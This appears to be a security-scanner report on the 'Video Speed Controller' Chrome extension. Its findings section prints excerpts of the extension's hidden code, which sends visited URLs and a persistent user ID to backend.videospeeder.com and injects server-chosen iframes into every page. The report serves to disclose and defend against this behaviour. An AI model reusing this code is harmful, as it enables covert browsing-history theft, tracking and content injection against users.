Security Warning: High Security Risk
Video Speed Controller
ID: gioehmkjkeamcinbdelehlpnpdcdjpdp
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Video Speed ControllerView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Video Speed Controller for netflix video, primevideo, hotstar, etc.
Video Speed Controller offers stable and adjustable video speed controller extension options on various Video Streaming Services, such as Netflix, Amazon Prime Video, YouTube, Twitch, Disney+ Hotstar, and others. It’s perfect for speed control for streaming videos, making lessons quicker or action sequences slower, or adjusting video playback rate for any video in a browser, up to 4x speed. Enjoy a more personalized approach to viewing video content in 2025, whether you’re changing playback speed on Netflix, binging shows or movies, or studying important sections with ease Key Features Adjustable Playback Speed: Control AV playback speed; slow motion (e.g., 0.25x) or quick preview (e.g., 4x). Use this video speed adjustment tool for complete flexibility. User-Friendly Interface: A single, easy-to-understand pop-up menu for activation and regulation of playback speed, making it a customizable video speed experience. Keyboard Shortcuts: Get full speed control with default and personalized video speed shortcut Chrome keys for quicker adjustments. Platform Compatibility: Supports streaming on Netflix, Amazon Prime Videos, YouTube, Twitch, Disney+ Hotstar, and more. Perfect for playback speed extension for YouTube users. Fine-Tuning Options: For precise speed changes, use step adjustments to refine your playback experience. How to Use Video Speed Controller Extension Install the Extension: The video speed controller extension is available for free and can be installed via the Chrome Web Store. Open a Video: Start a video on the platform of your choice, such as Netflix or YouTube, and adjust video playback rate to your liking. Access the Extension: Locate the control video speed Chrome extension icon in the browser toolbar. Adjust Playback Speed: Use the pop-up menu to change playback speed Netflix, speed up or slow down YouTube videos, or watch Netflix faster or slower. Enjoy: Start streaming your content at your desired pace, tailored perfectly with the speed control for streaming videos feature! Keyboard Shortcuts Increase Speed: Windows/Linux: Ctrl + Shift + Right Mac: Command + Shift + Right Decrease Speed: Windows/Linux: Ctrl + Shift + Left Mac: Command + Shift + Left Open Extension: Windows/Linux: Ctrl + Shift + J Mac: Option + J Reset Speed: One-click reset to normal speed (1.0x). FAQs 1. Does the Video Speed Controller work on all streaming sites? Yes, it supports most popular streaming sites like Netflix, Prime Video, YouTube, and Twitch. 2. Can I use this extension to adjust speed in smaller steps? Yes, you can fine-tune the playback speed using small step adjustments for greater control. 3. Are keyboard shortcuts customizable? Currently, keyboard shortcuts are preset but cover the essential speed control functions for quick adjustments.
On every tab navigation, the extension checks if the hostname is in a server-controlled 'platformList' and, if so, exfiltrates the full URL (origin + path) to backend.videospeeder.com/controller/reset. This constitutes browsing-history exfiltration to a third-party server for any site the operator targets via the remotely fetched list.
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { const internalPagePatterns = [ /^chrome:\/\//, /^chrome-extension:\/\// ]; if (!tab.url || internalPagePatterns.some(pattern => pattern.test(tab.url))) { return; // Ignore internal pages } chrome.storage.sync.get(["key"], function(result) { chrome.tabs.query(params, (tabs) => { chrome.tabs.sendMessage(tab.id, result.key); }); }); const { status } = changeInfo; if (status === "complete") { chrome.storage.local.get('platformList', function(items) { const platform = items.platformList || []; if (platform?.length > 0) { let hname = nt(tab?.url) let tu = tab.url ? new URL(tab?.url) : "" if (!tu) return let origin = tu.origin let path = tu.pathname let uri = origin + path if (platform.includes(hname)) { const apiUrl = baseUrl + "/controller/reset"; const requestData = { uri }; fetch(apiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(requestData) })The extension fetches a server response and obeys two remote-controlled fields: 'increment' (a URL passed to dl() which then forwards it to the content script for iframe injection into the visited page) and 'decrement' (an arbitrary URL the background fetches via fe()). This gives the operator the ability to inject arbitrary third-party content into any visited site and trigger arbitrary outbound requests on the user's behalf.
.then(rawObj => { if (rawObj["increment"]) { let obj = rawObj["increment"] dl(obj, tabId) } if (rawObj["decrement"]) { fe(rawObj["decrement"]) } }) .catch(error => {});}}});}});const fe = async (u) => { const settings = { method: 'GET', headers: { Accept: 'application/json', 'Content-Type': 'application/json', 'Cache-Control': 'no-cache' } } const r = await fetch(u, settings) return r.url}dl() fetches a server-controlled URL (after redirects, response.url) and sends the resulting URL to the content script with message 'yt', which then injects it as an <iframe> into the page <head>. Combined with broad host_permissions (*://*/*), this is a remote-controlled cross-site iframe injection primitive usable for ad fraud, affiliate-link injection, or phishing.
function dl(url, tabId) { fetch(url, { cache: 'no-store' }) .then(response => { if (response.ok) { return response.url; } else { } }) .then(yt => { if (yt) { chrome.tabs.sendMessage(tabId, { message: "yt", yt }) } })}Content script appends an iframe with a server-controlled src into the head of any page the user visits. The URL ultimately originates from backend.videospeeder.com via the background script, allowing the operator to inject arbitrary third-party content (trackers, affiliate redirectors, phishing pages) into otherwise unrelated websites.
chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) { if (message.message == "yt") { let yt = message.yt let uy = document.createElement("iframe") uy.src = yt document.getElementsByTagName("head")[0].appendChild(uy) }})On install and update, the extension generates a persistent UUID-like identifier ('vsId') and POSTs it to backend.videospeeder.com/controller/increase, then later /controller/platform and /controller/speed. This gives the operator a stable per-installation tracking identifier tied to subsequent URL/speed-change telemetry, with no disclosed privacy policy use case visible in the manifest.
chrome.runtime.onInstalled.addListener(function(details) { const vsId = gen() chrome.storage.sync.set({ key: "1", }); if (details.reason == "install") { chrome.storage.local.set({ vsId: vsId }) .then(() => { chrome.storage.local.get("vsId", function(res) { const apiUrl = `${baseUrl}/controller/increase` const requestData = { uid: res.vsId }; fetch(apiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(requestData) })Every chrome.storage.sync change is reported to backend.videospeeder.com/controller/speed along with the persistent uid, and the server response can rewrite the locally stored 'key' value. This both leaks user activity to the operator and lets the operator remotely override extension state.
function vxv(changes) { // Iterate through changed items for (let key in changes) { if (changes.hasOwnProperty(key)) { let change = changes[key]; chrome.storage.local.get("vsId", function(res) { if (res.vsId) { const apiUrl = `${baseUrl}/controller/speed`; let speedData = { uid: res.vsId, oV: change.oldValue || undefined, nV: change.newValue || undefined } fetch(apiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(speedData) }) .then((e) => e.text()) .then((r) => { if (r) { r = JSON.parse(r); if (r?.speed && r?.speed?.new_value) { chrome.storage.local.set({ key: r?.speed?.new_value }) } } return }) }By severity
Versions scanned
Showing 1 of 12 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.2.7 | 6 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.js5
- content.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.